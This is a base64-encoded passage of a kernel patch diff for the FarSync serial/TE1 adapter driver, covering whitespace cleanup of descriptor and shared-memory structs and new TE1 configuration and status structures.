Yml0Y29udC8zLmFtMTg2Y3hmYS9hMjE5MTQvMjE5MTQucGRmCiAgKi8KLXN0cnVjdCB0eGRlc2Mg eyAgICAgICAgICAgICAgICAgLyogVHJhbnNtaXQgZGVzY3JpcHRvciAqLwotICAgICAgICB2b2xh dGlsZSB1MTYgbGFkcjsgICAgICAvKiBMb3cgb3JkZXIgYWRkcmVzcyBvZiBwYWNrZXQuIFRoaXMg aXMgYQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBsaW5lYXIgYWRkcmVzcyBp biB0aGUgQW0xODYgbWVtb3J5IHNwYWNlCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAqLwotICAgICAgICB2b2xhdGlsZSB1OCAgaGFkcjsgICAgICAvKiBIaWdoIG9yZGVyIGFkZHJl c3MuIExvdyA0IGJpdHMgb25seSwgaGlnaCA0Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqIGJpdHMgbXVzdCBiZSB6ZXJvCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAqLwotICAgICAgICB2b2xhdGlsZSB1OCAgYml0czsgICAgICAvKiBTdGF0dXMgYW5kIGNvbmZp ZyAqLwotICAgICAgICB2b2xhdGlsZSB1MTYgYmNudDsgICAgICAvKiAycyBjb21wbGVtZW50IG9m IHBhY2tldCBzaXplIGluIGxvdyAxNSBiaXRzLgotICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgKiBUcmFuc21pdCB0ZXJtaW5hbCBjb3VudCBpbnRlcnJ1cHQgZW5hYmxlIGluCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHRvcCBiaXQuCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgICB1MTYgdW51c2VkOyAgICAvKiBO b3QgdXNlZCBpbiBUeCAqLworc3RydWN0IHR4ZGVzYyB7CQkJLyogVHJhbnNtaXQgZGVzY3JpcHRv ciAqLworCXZvbGF0aWxlIHUxNiBsYWRyOwkvKiBMb3cgb3JkZXIgYWRkcmVzcyBvZiBwYWNrZXQu IFRoaXMgaXMgYQorCQkJCSAqIGxpbmVhciBhZGRyZXNzIGluIHRoZSBBbTE4NiBtZW1vcnkgc3Bh Y2UKKwkJCQkgKi8KKwl2b2xhdGlsZSB1OCBoYWRyOwkvKiBIaWdoIG9yZGVyIGFkZHJlc3MuIExv dyA0IGJpdHMgb25seSwgaGlnaCA0CisJCQkJICogYml0cyBtdXN0IGJlIHplcm8KKwkJCQkgKi8K Kwl2b2xhdGlsZSB1OCBiaXRzOwkvKiBTdGF0dXMgYW5kIGNvbmZpZyAqLworCXZvbGF0aWxlIHUx NiBiY250OwkvKiAycyBjb21wbGVtZW50IG9mIHBhY2tldCBzaXplIGluIGxvdyAxNSBiaXRzLgor CQkJCSAqIFRyYW5zbWl0IHRlcm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFibGUgaW4KKwkJCQkg KiB0b3AgYml0LgorCQkJCSAqLworCXUxNiB1bnVzZWQ7CQkvKiBOb3QgdXNlZCBpbiBUeCAqLwog fTsKIAotc3RydWN0IHJ4ZGVzYyB7ICAgICAgICAgICAgICAgICAvKiBSZWNlaXZlIGRlc2NyaXB0 b3IgKi8KLSAgICAgICAgdm9sYXRpbGUgdTE2IGxhZHI7ICAgICAgLyogTG93IG9yZGVyIGFkZHJl c3Mgb2YgcGFja2V0ICovCi0gICAgICAgIHZvbGF0aWxlIHU4ICBoYWRyOyAgICAgIC8qIEhpZ2gg b3JkZXIgYWRkcmVzcyAqLwotICAgICAgICB2b2xhdGlsZSB1OCAgYml0czsgICAgICAvKiBTdGF0 dXMgYW5kIGNvbmZpZyAqLwotICAgICAgICB2b2xhdGlsZSB1MTYgYmNudDsgICAgICAvKiAycyBj b21wbGVtZW50IG9mIGJ1ZmZlciBzaXplIGluIGxvdyAxNSBiaXRzLgotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgKiBSZWNlaXZlIHRlcm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFi bGUgaW4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogdG9wIGJpdC4KLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBtY250 OyAgICAgIC8qIE1lc3NhZ2UgYnl0ZSBjb3VudCAoMTUgYml0cykgKi8KK3N0cnVjdCByeGRlc2Mg ewkJCS8qIFJlY2VpdmUgZGVzY3JpcHRvciAqLworCXZvbGF0aWxlIHUxNiBsYWRyOwkvKiBMb3cg b3JkZXIgYWRkcmVzcyBvZiBwYWNrZXQgKi8KKwl2b2xhdGlsZSB1OCBoYWRyOwkvKiBIaWdoIG9y ZGVyIGFkZHJlc3MgKi8KKwl2b2xhdGlsZSB1OCBiaXRzOwkvKiBTdGF0dXMgYW5kIGNvbmZpZyAq LworCXZvbGF0aWxlIHUxNiBiY250OwkvKiAycyBjb21wbGVtZW50IG9mIGJ1ZmZlciBzaXplIGlu IGxvdyAxNSBiaXRzLgorCQkJCSAqIFJlY2VpdmUgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVu YWJsZSBpbgorCQkJCSAqIHRvcCBiaXQuCisJCQkJICovCisJdm9sYXRpbGUgdTE2IG1jbnQ7CS8q IE1lc3NhZ2UgYnl0ZSBjb3VudCAoMTUgYml0cykgKi8KIH07CiAKIC8qIENvbnZlcnQgYSBsZW5n dGggaW50byB0aGUgMTUgYml0IDIncyBjb21wbGVtZW50ICovCkBAIC0xNDksNTcgKzE2Myw5OSBA QAogI2RlZmluZSBjbnZfYmNudChsZW4pICAgKC0obGVuKSkKIAogLyogU3RhdHVzIGFuZCBjb25m aWcgYml0cyBmb3IgdGhlIGFib3ZlICovCi0jZGVmaW5lIERNQV9PV04gICAgICAgICAweDgwICAg ICAgICAgICAgLyogU21hcnRETUEgb3ducyB0aGUgZGVzY3JpcHRvciAqLwotI2RlZmluZSBUWF9T VFAgICAgICAgICAgMHgwMiAgICAgICAgICAgIC8qIFR4OiBzdGFydCBvZiBwYWNrZXQgKi8KLSNk ZWZpbmUgVFhfRU5QICAgICAgICAgIDB4MDEgICAgICAgICAgICAvKiBUeDogZW5kIG9mIHBhY2tl dCAqLwotI2RlZmluZSBSWF9FUlIgICAgICAgICAgMHg0MCAgICAgICAgICAgIC8qIFJ4OiBlcnJv ciAoT1Igb2YgbmV4dCA0IGJpdHMpICovCi0jZGVmaW5lIFJYX0ZSQU0gICAgICAgICAweDIwICAg ICAgICAgICAgLyogUng6IGZyYW1pbmcgZXJyb3IgKi8KLSNkZWZpbmUgUlhfT0ZMTyAgICAgICAg IDB4MTAgICAgICAgICAgICAvKiBSeDogb3ZlcmZsb3cgZXJyb3IgKi8KLSNkZWZpbmUgUlhfQ1JD ICAgICAgICAgIDB4MDggICAgICAgICAgICAvKiBSeDogQ1JDIGVycm9yICovCi0jZGVmaW5lIFJY X0hCVUYgICAgICAgICAweDA0ICAgICAgICAgICAgLyogUng6IGJ1ZmZlciBlcnJvciAqLwotI2Rl ZmluZSBSWF9TVFAgICAgICAgICAgMHgwMiAgICAgICAgICAgIC8qIFJ4OiBzdGFydCBvZiBwYWNr ZXQgKi8KLSNkZWZpbmUgUlhfRU5QICAgICAgICAgIDB4MDEgICAgICAgICAgICAvKiBSeDogZW5k IG9mIHBhY2tldCAqLwotCisjZGVmaW5lIERNQV9PV04gICAgICAgICAweDgwCS8qIFNtYXJ0RE1B IG93bnMgdGhlIGRlc2NyaXB0b3IgKi8KKyNkZWZpbmUgVFhfU1RQICAgICAgICAgIDB4MDIJLyog VHg6IHN0YXJ0IG9mIHBhY2tldCAqLworI2RlZmluZSBUWF9FTlAgICAgICAgICAgMHgwMQkvKiBU eDogZW5kIG9mIHBhY2tldCAqLworI2RlZmluZSBSWF9FUlIgICAgICAgICAgMHg0MAkvKiBSeDog ZXJyb3IgKE9SIG9mIG5leHQgNCBiaXRzKSAqLworI2RlZmluZSBSWF9GUkFNICAgICAgICAgMHgy MAkvKiBSeDogZnJhbWluZyBlcnJvciAqLworI2RlZmluZSBSWF9PRkxPICAgICAgICAgMHgxMAkv KiBSeDogb3ZlcmZsb3cgZXJyb3IgKi8KKyNkZWZpbmUgUlhfQ1JDICAgICAgICAgIDB4MDgJLyog Ung6IENSQyBlcnJvciAqLworI2RlZmluZSBSWF9IQlVGICAgICAgICAgMHgwNAkvKiBSeDogYnVm ZmVyIGVycm9yICovCisjZGVmaW5lIFJYX1NUUCAgICAgICAgICAweDAyCS8qIFJ4OiBzdGFydCBv ZiBwYWNrZXQgKi8KKyNkZWZpbmUgUlhfRU5QICAgICAgICAgIDB4MDEJLyogUng6IGVuZCBvZiBw YWNrZXQgKi8KIAotLyogSW50ZXJydXB0cyBmcm9tIHRoZSBjYXJkIGFyZSBjYXVzZWQgYnkgdmFy aW91cyBldmVudHMgYW5kIHRoZXNlIGFyZSBwcmVzZW50ZWQKKy8qIEludGVycnVwdHMgZnJvbSB0 aGUgY2FyZCBhcmUgY2F1c2VkIGJ5IHZhcmlvdXMgZXZlbnRzIHdoaWNoIGFyZSBwcmVzZW50ZWQK ICAqIGluIGEgY2lyY3VsYXIgYnVmZmVyIGFzIHNldmVyYWwgZXZlbnRzIG1heSBiZSBwcm9jZXNz ZWQgb24gb25lIHBoeXNpY2FsIGludAogICovCiAjZGVmaW5lIE1BWF9DSVJCVUZGICAgICAzMgog CiBzdHJ1Y3QgY2lyYnVmZiB7Ci0gICAgICAgIHU4IHJkaW5kZXg7ICAgICAgICAgICAgIC8qIHJl YWQsIHRoZW4gaW5jcmVtZW50IGFuZCB3cmFwICovCi0gICAgICAgIHU4IHdyaW5kZXg7ICAgICAg ICAgICAgIC8qIHdyaXRlLCB0aGVuIGluY3JlbWVudCBhbmQgd3JhcCAqLwotICAgICAgICB1OCBl dm50YnVmZltNQVhfQ0lSQlVGRl07CisJdTggcmRpbmRleDsJCS8qIHJlYWQsIHRoZW4gaW5jcmVt ZW50IGFuZCB3cmFwICovCisJdTggd3JpbmRleDsJCS8qIHdyaXRlLCB0aGVuIGluY3JlbWVudCBh bmQgd3JhcCAqLworCXU4IGV2bnRidWZmW01BWF9DSVJCVUZGXTsKIH07CiAKIC8qIEludGVycnVw dCBldmVudCBjb2Rlcy4KICAqIFdoZXJlIGFwcHJvcHJpYXRlIHRoZSB0d28gbG93IG9yZGVyIGJp dHMgaW5kaWNhdGUgdGhlIHBvcnQgbnVtYmVyCiAgKi8KLSNkZWZpbmUgQ1RMQV9DSEcgICAgICAg IDB4MTggICAgLyogQ29udHJvbCBzaWduYWwgY2hhbmdlZCAqLworI2RlZmluZSBDVExBX0NIRyAg ICAgICAgMHgxOAkvKiBDb250cm9sIHNpZ25hbCBjaGFuZ2VkICovCiAjZGVmaW5lIENUTEJfQ0hH ICAgICAgICAweDE5CiAjZGVmaW5lIENUTENfQ0hHICAgICAgICAweDFBCiAjZGVmaW5lIENUTERf Q0hHICAgICAgICAweDFCCiAKLSNkZWZpbmUgSU5JVF9DUExUICAgICAgIDB4MjAgICAgLyogSW5p dGlhbGlzYXRpb24gY29tcGxldGUgKi8KLSNkZWZpbmUgSU5JVF9GQUlMICAgICAgIDB4MjEgICAg LyogSW5pdGlhbGlzYXRpb24gZmFpbGVkICovCisjZGVmaW5lIElOSVRfQ1BMVCAgICAgICAweDIw CS8qIEluaXRpYWxpc2F0aW9uIGNvbXBsZXRlICovCisjZGVmaW5lIElOSVRfRkFJTCAgICAgICAw eDIxCS8qIEluaXRpYWxpc2F0aW9uIGZhaWxlZCAqLwogCi0jZGVmaW5lIEFCVEFfU0VOVCAgICAg ICAweDI0ICAgIC8qIEFib3J0IHNlbnQgKi8KKyNkZWZpbmUgQUJUQV9TRU5UICAgICAgIDB4MjQJ LyogQWJvcnQgc2VudCAqLwogI2RlZmluZSBBQlRCX1NFTlQgICAgICAgMHgyNQogI2RlZmluZSBB QlRDX1NFTlQgICAgICAgMHgyNgogI2RlZmluZSBBQlREX1NFTlQgICAgICAgMHgyNwogCi0jZGVm aW5lIFRYQV9VTkRGICAgICAgICAweDI4ICAgIC8qIFRyYW5zbWlzc2lvbiB1bmRlcmZsb3cgKi8K KyNkZWZpbmUgVFhBX1VOREYgICAgICAgIDB4MjgJLyogVHJhbnNtaXNzaW9uIHVuZGVyZmxvdyAq LwogI2RlZmluZSBUWEJfVU5ERiAgICAgICAgMHgyOQogI2RlZmluZSBUWENfVU5ERiAgICAgICAg MHgyQQogI2RlZmluZSBUWERfVU5ERiAgICAgICAgMHgyQgogCisjZGVmaW5lIEY1Nl9JTlQgICAg ICAgICAweDJDCisjZGVmaW5lIE0zMl9JTlQgICAgICAgICAweDJECisKKyNkZWZpbmUgVEUxX0FM TUEgICAgICAgIDB4MzAKIAogLyogUG9ydCBwaHlzaWNhbCBjb25maWd1cmF0aW9uLiBTZWUgZmFy c3luYy5oIGZvciBmaWVsZCB2YWx1ZXMgKi8KIHN0cnVjdCBwb3J0X2NmZyB7Ci0gICAgICAgIHUx NiAgbGluZUludGVyZmFjZTsgICAgIC8qIFBoeXNpY2FsIGludGVyZmFjZSB0eXBlICovCi0gICAg ICAgIHU4ICAgeDI1b3A7ICAgICAgICAgICAgIC8qIFVudXNlZCBhdCBwcmVzZW50ICovCi0gICAg ICAgIHU4ICAgaW50ZXJuYWxDbG9jazsgICAgIC8qIDEgPT4gaW50ZXJuYWwgY2xvY2ssIDAgPT4g ZXh0ZXJuYWwgKi8KLSAgICAgICAgdTMyICBsaW5lU3BlZWQ7ICAgICAgICAgLyogU3BlZWQgaW4g YnBzICovCisJdTE2IGxpbmVJbnRlcmZhY2U7CS8qIFBoeXNpY2FsIGludGVyZmFjZSB0eXBlICov CisJdTggeDI1b3A7CQkvKiBVbnVzZWQgYXQgcHJlc2VudCAqLworCXU4IGludGVybmFsQ2xvY2s7 CS8qIDEgPT4gaW50ZXJuYWwgY2xvY2ssIDAgPT4gZXh0ZXJuYWwgKi8KKwl1OCB0cmFuc3BhcmVu dE1vZGU7CS8qIDEgPT4gb24sIDAgPT4gb2ZmICovCisJdTggaW52ZXJ0Q2xvY2s7CQkvKiAwID0+ IG5vcm1hbCwgMSA9PiBpbnZlcnRlZCAqLworCXU4IHBhZEJ5dGVzWzZdOwkJLyogUGFkZGluZyAq LworCXUzMiBsaW5lU3BlZWQ7CQkvKiBTcGVlZCBpbiBicHMgKi8KK307CisKKy8qIFRFMSBwb3J0 IHBoeXNpY2FsIGNvbmZpZ3VyYXRpb24gKi8KK3N0cnVjdCBzdV9jb25maWcgeworCXUzMiBkYXRh UmF0ZTsKKwl1OCBjbG9ja2luZzsKKwl1OCBmcmFtaW5nOworCXU4IHN0cnVjdHVyZTsKKwl1OCBp bnRlcmZhY2U7CisJdTggY29kaW5nOworCXU4IGxpbmVCdWlsZE91dDsKKwl1OCBlcXVhbGl6ZXI7 CisJdTggdHJhbnNwYXJlbnRNb2RlOworCXU4IGxvb3BNb2RlOworCXU4IHJhbmdlOworCXU4IHR4 QnVmZmVyTW9kZTsKKwl1OCByeEJ1ZmZlck1vZGU7CisJdTggc3RhcnRpbmdTbG90OworCXU4IGxv c1RocmVzaG9sZDsKKwl1OCBlbmFibGVJZGxlQ29kZTsKKwl1OCBpZGxlQ29kZTsKKwl1OCBzcGFy ZVs0NF07Cit9OworCisvKiBURTEgU3RhdHVzICovCitzdHJ1Y3Qgc3Vfc3RhdHVzIHsKKwl1MzIg cmVjZWl2ZUJ1ZmZlckRlbGF5OworCXUzMiBmcmFtaW5nRXJyb3JDb3VudDsKKwl1MzIgY29kZVZp b2xhdGlvbkNvdW50OworCXUzMiBjcmNFcnJvckNvdW50OworCXUzMiBsaW5lQXR0ZW51YXRpb247 CisJdTggcG9ydFN0YXJ0ZWQ7CisJdTggbG9zc09mU2lnbmFsOworCXU4IHJlY2VpdmVSZW1vdGVB bGFybTsKKwl1OCBhbGFybUluZGljYXRpb25TaWduYWw7CisJdTggc3BhcmVbNDBdOwogfTsKIAog LyogRmluYWxseSBzbGluZyBhbGwgdGhlIGFib3ZlIHRvZ2V0aGVyIGludG8gdGhlIHNoYXJlZCBt ZW1vcnkgc3RydWN0dXJlLgpAQCAtMjA5LDExNCArMjY1LDE1MSBAQAogICogU2VlIGZhcnN5bmMu aCBmb3Igc29tZSBmaWVsZCB2YWx1ZXMuCiAgKi8KIHN0cnVjdCBmc3Rfc2hhcmVkIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRE1BIGRlc2NyaXB0b3IgcmluZ3MgKi8KLSAg ICAgICAgc3RydWN0IHJ4ZGVzYyByeERlc2NyUmluZ1tGU1RfTUFYX1BPUlRTXVtOVU1fUlhfQlVG RkVSXTsKLSAgICAgICAgc3RydWN0IHR4ZGVzYyB0eERlc2NyUmluZ1tGU1RfTUFYX1BPUlRTXVtO VU1fVFhfQlVGRkVSXTsKKwkvKiBETUEgZGVzY3JpcHRvciByaW5ncyAqLworCXN0cnVjdCByeGRl c2MgcnhEZXNjclJpbmdbRlNUX01BWF9QT1JUU11bTlVNX1JYX0JVRkZFUl07CisJc3RydWN0IHR4 ZGVzYyB0eERlc2NyUmluZ1tGU1RfTUFYX1BPUlRTXVtOVU1fVFhfQlVGRkVSXTsKKworCS8qIE9i c29sZXRlIHNtYWxsIGJ1ZmZlcnMgKi8KKwl1OCBzbWFsbFJ4QnVmZmVyW0ZTVF9NQVhfUE9SVFNd W05VTV9SWF9CVUZGRVJdW0xFTl9TTUFMTF9SWF9CVUZGRVJdOworCXU4IHNtYWxsVHhCdWZmZXJb RlNUX01BWF9QT1JUU11bTlVNX1RYX0JVRkZFUl1bTEVOX1NNQUxMX1RYX0JVRkZFUl07CiAKLSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogT2Jzb2xldGUgc21hbGwgYnVmZmVycyAq LwotICAgICAgICB1OCAgc21hbGxSeEJ1ZmZlcltGU1RfTUFYX1BPUlRTXVtOVU1fUlhfQlVGRkVS XVtMRU5fU01BTExfUlhfQlVGRkVSXTsKLSAgICAgICAgdTggIHNtYWxsVHhCdWZmZXJbRlNUX01B WF9QT1JUU11bTlVNX1RYX0JVRkZFUl1bTEVOX1NNQUxMX1RYX0JVRkZFUl07CisJdTggdGFza1N0 YXR1czsJCS8qIDB4MDAgPT4gaW5pdGlhbGlzaW5nLCAweDAxID0+IHJ1bm5pbmcsCisJCQkJICog MHhGRiA9PiBoYWx0ZWQKKwkJCQkgKi8KIAotICAgICAgICB1OCAgdGFza1N0YXR1czsgICAgICAg ICAvKiAweDAwID0+IGluaXRpYWxpc2luZywgMHgwMSA9PiBydW5uaW5nLAotICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKiAweEZGID0+IGhhbHRlZAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKi8KKwl1OCBpbnRlcnJ1cHRIYW5kc2hha2U7CS8qIFNldCB0byAweDAx IGJ5IGFkYXB0ZXIgdG8gc2lnbmFsIGludGVycnVwdCwKKwkJCQkgKiBzZXQgdG8gMHhFRSBieSBo b3N0IHRvIGFja25vd2xlZGdlIGludGVycnVwdAorCQkJCSAqLwogCi0gICAgICAgIHU4ICBpbnRl cnJ1cHRIYW5kc2hha2U7IC8qIFNldCB0byAweDAxIGJ5IGFkYXB0ZXIgdG8gc2lnbmFsIGludGVy cnVwdCwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogc2V0IHRvIDB4RUUgYnkg aG9zdCB0byBhY2tub3dsZWRnZSBpbnRlcnJ1cHQKLSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICovCisJdTE2IHNtY1ZlcnNpb247CQkvKiBNdXN0IG1hdGNoIFNNQ19WRVJTSU9OICov CiAKLSAgICAgICAgdTE2IHNtY1ZlcnNpb247ICAgICAgICAgLyogTXVzdCBtYXRjaCBTTUNfVkVS U0lPTiAqLworCXUzMiBzbWNGaXJtd2FyZVZlcnNpb247CS8qIDB4SUlWVlJSQkIgd2hlcmUgSUkg PSBwcm9kdWN0IElELCBWViA9IG1ham9yCisJCQkJICogdmVyc2lvbiwgUlIgPSByZXZpc2lvbiBh bmQgQkIgPSBidWlsZAorCQkJCSAqLwogCi0gICAgICAgIHUzMiBzbWNGaXJtd2FyZVZlcnNpb247 IC8qIDB4SUlWVlJSQkIgd2hlcmUgSUkgPSBwcm9kdWN0IElELCBWViA9IG1ham9yCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAqIHZlcnNpb24sIFJSID0gcmV2aXNpb24gYW5kIEJC ID0gYnVpbGQKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCisJdTE2IHR4YV9k b25lOwkJLyogT2Jzb2xldGUgY29tcGxldGlvbiBmbGFncyAqLworCXUxNiByeGFfZG9uZTsKKwl1 MTYgdHhiX2RvbmU7CisJdTE2IHJ4Yl9kb25lOworCXUxNiB0eGNfZG9uZTsKKwl1MTYgcnhjX2Rv bmU7CisJdTE2IHR4ZF9kb25lOworCXUxNiByeGRfZG9uZTsKIAotICAgICAgICB1MTYgdHhhX2Rv bmU7ICAgICAgICAgICAvKiBPYnNvbGV0ZSBjb21wbGV0aW9uIGZsYWdzICovCi0gICAgICAgIHUx NiByeGFfZG9uZTsKLSAgICAgICAgdTE2IHR4Yl9kb25lOwotICAgICAgICB1MTYgcnhiX2RvbmU7 Ci0gICAgICAgIHUxNiB0eGNfZG9uZTsKLSAgICAgICAgdTE2IHJ4Y19kb25lOwotICAgICAgICB1 MTYgdHhkX2RvbmU7Ci0gICAgICAgIHUxNiByeGRfZG9uZTsKKwl1MTYgbWFpbGJveFs0XTsJCS8q IERpYWdub3N0aWNzIG1haWxib3guIE5vdCB1c2VkICovCiAKLSAgICAgICAgdTE2IG1haWxib3hb NF07ICAgICAgICAgLyogRGlhZ25vc3RpY3MgbWFpbGJveC4gTm90IHVzZWQgKi8KKwlzdHJ1Y3Qg Y2lyYnVmZiBpbnRlcnJ1cHRFdmVudDsJLyogaW50ZXJydXB0IGNhdXNlcyAqLwogCi0gICAgICAg IHN0cnVjdCBjaXJidWZmIGludGVycnVwdEV2ZW50OyAgLyogaW50ZXJydXB0IGNhdXNlcyAqLwor CXUzMiB2MjRJcFN0c1tGU1RfTUFYX1BPUlRTXTsJLyogVi4yNCBjb250cm9sIGlucHV0IHN0YXR1 cyAqLworCXUzMiB2MjRPcFN0c1tGU1RfTUFYX1BPUlRTXTsJLyogVi4yNCBjb250cm9sIG91dHB1 dCBzdGF0dXMgKi8KIAotICAgICAgICB1MzIgdjI0SXBTdHNbRlNUX01BWF9QT1JUU107ICAgIC8q IFYuMjQgY29udHJvbCBpbnB1dCBzdGF0dXMgKi8KLSAgICAgICAgdTMyIHYyNE9wU3RzW0ZTVF9N QVhfUE9SVFNdOyAgICAvKiBWLjI0IGNvbnRyb2wgb3V0cHV0IHN0YXR1cyAqLworCXN0cnVjdCBw b3J0X2NmZyBwb3J0Q29uZmlnW0ZTVF9NQVhfUE9SVFNdOwogCi0gICAgICAgIHN0cnVjdCBwb3J0 X2NmZyBwb3J0Q29uZmlnW0ZTVF9NQVhfUE9SVFNdOworCXUxNiBjbG9ja1N0YXR1c1tGU1RfTUFY X1BPUlRTXTsJLyogbHNiOiAwPT4gcHJlc2VudCwgMT0+IGFic2VudCAqLwogCi0gICAgICAgIHUx NiBjbG9ja1N0YXR1c1tGU1RfTUFYX1BPUlRTXTsgLyogbHNiOiAwPT4gcHJlc2VudCwgMT0+IGFi c2VudCAqLworCXUxNiBjYWJsZVN0YXR1czsJLyogbHNiOiAwPT4gcHJlc2VudCwgMT0+IGFic2Vu dCAqLwogCi0gICAgICAgIHUxNiBjYWJsZVN0YXR1czsgICAgICAgICAgICAgICAgLyogbHNiOiAw PT4gcHJlc2VudCwgMT0+IGFic2VudCAqLworCXUxNiB0eERlc2NySW5kZXhbRlNUX01BWF9QT1JU U107CS8qIHRyYW5zbWl0IGRlc2NyaXB0b3IgcmluZyBpbmRleCAqLworCXUxNiByeERlc2NySW5k ZXhbRlNUX01BWF9QT1JUU107CS8qIHJlY2VpdmUgZGVzY3JpcHRvciByaW5nIGluZGV4ICovCiAK LSAgICAgICAgdTE2IHR4RGVzY3JJbmRleFtGU1RfTUFYX1BPUlRTXTsgLyogdHJhbnNtaXQgZGVz Y3JpcHRvciByaW5nIGluZGV4ICovCi0gICAgICAgIHUxNiByeERlc2NySW5kZXhbRlNUX01BWF9Q T1JUU107IC8qIHJlY2VpdmUgZGVzY3JpcHRvciByaW5nIGluZGV4ICovCisJdTE2IHBvcnRNYWls Ym94W0ZTVF9NQVhfUE9SVFNdWzJdOwkvKiBjb21tYW5kLCBtb2RpZmllciAqLworCXUxNiBjYXJk TWFpbGJveFs0XTsJLyogTm90IHVzZWQgKi8KIAotICAgICAgICB1MTYgcG9ydE1haWxib3hbRlNU X01BWF9QT1JUU11bMl07ICAgICAgLyogY29tbWFuZCwgbW9kaWZpZXIgKi8KLSAgICAgICAgdTE2 IGNhcmRNYWlsYm94WzRdOyAgICAgICAgICAgICAgICAgICAgIC8qIE5vdCB1c2VkICovCisJLyog TnVtYmVyIG9mIHRpbWVzIHRoZSBjYXJkIHRoaW5rcyB0aGUgaG9zdCBoYXMKKwkgKiBtaXNzZWQg YW4gaW50ZXJydXB0IGJ5IG5vdCBhY2tub3dsZWRnaW5nCisJICogd2l0aGluIDJtUyAoSSBndWVz cyBOVCBoYXMgcHJvYmxlbXMpCisJICovCisJdTMyIGludGVycnVwdFJldHJ5Q291bnQ7CiAKLSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogTnVtYmVyIG9mIHRpbWVzIHRoYXQgY2Fy ZCB0aGlua3MgdGhlIGhvc3QgaGFzCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq IG1pc3NlZCBhbiBpbnRlcnJ1cHQgYnkgbm90IGFja25vd2xlZGdpbmcKLSAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICogd2l0aGluIDJtUyAoSSBndWVzcyBOVCBoYXMgcHJvYmxlbXMp Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLwotICAgICAgICB1MzIgaW50ZXJy dXB0UmV0cnlDb3VudDsKKwkvKiBEcml2ZXIgcHJpdmF0ZSBkYXRhIHVzZWQgYXMgYW4gSUQuIFdl J2xsIG5vdAorCSAqIHVzZSB0aGlzIGFzIEknZCByYXRoZXIga2VlcCBzdWNoIHRoaW5ncworCSAq IGluIG1haW4gbWVtb3J5IHJhdGhlciB0aGFuIG9uIHRoZSBQQ0kgYnVzCisJICovCisJdTMyIHBv cnRIYW5kbGVbRlNUX01BWF9QT1JUU107CiAKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgLyogRHJpdmVyIHByaXZhdGUgZGF0YSB1c2VkIGFzIGFuIElELiBXZSdsbCBub3QKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICogdXNlIHRoaXMgb24gTGludXggSSdkIHJhdGhl ciBrZWVwIHN1Y2ggdGhpbmdzCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGlu IG1haW4gbWVtb3J5IHJhdGhlciB0aGFuIG9uIHRoZSBQQ0kgYnVzCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAqLwotICAgICAgICB1MzIgcG9ydEhhbmRsZVtGU1RfTUFYX1BPUlRT XTsKKwkvKiBDb3VudCBvZiBUeCB1bmRlcmZsb3dzIGZvciBzdGF0cyAqLworCXUzMiB0cmFuc21p dEJ1ZmZlclVuZGVyZmxvd1tGU1RfTUFYX1BPUlRTXTsKIAotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiBDb3VudCBvZiBUeCB1bmRlcmZsb3dzIGZvciBzdGF0cyAqLwotICAgICAg ICB1MzIgdHJhbnNtaXRCdWZmZXJVbmRlcmZsb3dbRlNUX01BWF9QT1JUU107CisJLyogRGVib3Vu Y2VkIFYuMjQgY29udHJvbCBpbnB1dCBzdGF0dXMgKi8KKwl1MzIgdjI0RGVib3VuY2VkU3RzW0ZT VF9NQVhfUE9SVFNdOwogCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIERlYm91 bmNlZCBWLjI0IGNvbnRyb2wgaW5wdXQgc3RhdHVzICovCi0gICAgICAgIHUzMiB2MjREZWJvdW5j ZWRTdHNbRlNUX01BWF9QT1JUU107CisJLyogQWRhcHRlciBkZWJvdW5jZSB0aW1lcnMuIERvbid0 IHRvdWNoICovCisJdTMyIGN0c1RpbWVyW0ZTVF9NQVhfUE9SVFNdOworCXUzMiBjdHNUaW1lclJ1 bltGU1RfTUFYX1BPUlRTXTsKKwl1MzIgZGNkVGltZXJbRlNUX01BWF9QT1JUU107CisJdTMyIGRj ZFRpbWVyUnVuW0ZTVF9NQVhfUE9SVFNdOwogCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIC8qIEFkYXB0ZXIgZGVib3VuY2UgdGltZXJzLiBEb24ndCB0b3VjaCAqLwotICAgICAgICB1 MzIgY3RzVGltZXJbRlNUX01BWF9QT1JUU107Ci0gICAgICAgIHUzMiBjdHNUaW1lclJ1bltGU1Rf TUFYX1BPUlRTXTsKLSAgICAgICAgdTMyIGRjZFRpbWVyW0ZTVF9NQVhfUE9SVFNdOwotICAgICAg ICB1MzIgZGNkVGltZXJSdW5bRlNUX01BWF9QT1JUU107CisJdTMyIG51bWJlck9mUG9ydHM7CS8q 